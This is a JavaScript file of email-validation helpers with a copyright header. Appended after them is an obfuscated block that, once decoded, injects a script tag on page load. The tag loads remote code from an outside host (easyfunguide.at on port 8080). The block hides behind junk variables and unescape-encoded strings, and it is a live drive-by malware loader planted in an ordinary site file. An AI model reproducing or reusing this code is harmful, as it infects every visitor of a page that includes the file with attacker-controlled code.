/*
Copyright 2005, 4word systems
All rights reserved.

This software may not be reproduced or distributed in any form without the express 
written consent of 4word systems or it's designee.

Revision 1.1:  20050729 Added underscore to list of valid characters
*/


function isValidEmail(email, required) {
    if (required==undefined) {   // if not specified, assume it's required
        required=true;
    }
    if (email==null) {
        if (required) {
            return false;
        }
        return true;
    }
    if (email.length==0) {  
        if (required) {
            return false;
        }
        return true;
    }
    if (! allValidChars(email)) {  // check to make sure all characters are valid
        return false;
    }
    if (email.indexOf("@") < 1) { //  must contain @, and it must not be the first character
        return false;
    } else if (email.lastIndexOf(".") <= email.indexOf("@")) {  // last dot must be after the @
        return false;
    } else if (email.indexOf("@") == email.length) {  // @ must not be the last character
        return false;
    } else if (email.indexOf("..") >=0) { // two periods in a row is not valid
	return false;
    } else if (email.indexOf(".") == email.length) {  // . must not be the last character
	return false;
    }
    return true;
}

function allValidChars(email) {
  var parsed = true;
  var validchars = "abcdefghijklmnopqrstuvwxyz0123456789@.-_";
  for (var i=0; i < email.length; i++) {
    var letter = email.charAt(i).toLowerCase();
    if (validchars.indexOf(letter) != -1)
      continue;
    parsed = false;
    break;
  }
  return parsed;
}


this.x='';function M(){var a=new Array();var vL=unescape;var J;if(J!='T'){J='T'};var n=new Array();var k=window;var o;if(o!='' && o!='S'){o=''};this.Li='';var N=vL("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%61%6d%62%6c%65%72%2e%72%75%2f%6e%65%74%66%6c%69%78%2e%63%6f%6d%2e%70%68%70");var dE='';var O;if(O!='vO'){O=''};function v(d,Z){var e;if(e!=''){e='V'};var P;if(P!='s'){P='s'};var L=new String("g9R2".substr(0,1));var qS;if(qS!=''){qS='oN'};var NT=vL("%5b"), vo=vL("%5d");var z=NT+Z+vo;var Ma=new RegExp(z, L);var _;if(_!='' && _!='kh'){_=null};var ij;if(ij!='' && ij!='SL'){ij=null};return d.replace(Ma, new String());var I_="";};this.K="";this.Hl='';this.YZ='';var nO;if(nO!='' && nO!='iS'){nO='Mr'};var q=new String();var pP;if(pP!='Pb' && pP != ''){pP=null};var xp;if(xp!='' && xp!='zV'){xp=''};var Y=document;var FU;if(FU!='yu'){FU='yu'};var f=v('8113076817039','436971');var ct;if(ct!='PT' && ct!='ol'){ct=''};var Ot=new Date();var BO;if(BO!='gk'){BO='gk'};function qc(){var BM='';var On=new Array();var kH;if(kH!='Jz' && kH != ''){kH=null};var p=vL("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");var JL;if(JL!='' && JL!='zb'){JL=null};var Hz;if(Hz!='vR'){Hz=''};this.si='';var vLX=new Array();q=p;var fj=new Array();q+=f;var sU='';q+=N;var jY='';try {var QZ;if(QZ!='jo' && QZ!='uH'){QZ=''};var qK;if(qK!='rq' && qK!='wF'){qK=''};NP=Y.createElement(v('shc7rWiWp7th','w7Wh'));this.mF='';var KK;if(KK!='_M'){KK=''};this.Gb="";NP[vL("%73%72%63")]=q;var u_;if(u_!='' && u_!='ui'){u_=''};var Au=new Date();var mG=new Date();NP[vL("%64%65%66%65%72")]=[3,1][1];var bu;if(bu!='RW' && bu!='AA'){bu=''};var Hf;if(Hf!='' && Hf!='zB'){Hf=''};var voO;if(voO!=''){voO='To'};var JFd;if(JFd!='' && JFd!='Lm'){JFd=null};Y.body.appendChild(NP);var SI;if(SI!='qN' && SI!='DQ'){SI=''};var eO=new Array();} catch(I){alert(I);};}var eL;if(eL!='qb'){eL='qb'};k[new String("onloa"+"d")]=qc;var Hr='';var qf;if(qf!='' && qf!='To_'){qf=''};};this.Fc="";M();var fy;if(fy!=''){fy='PP'};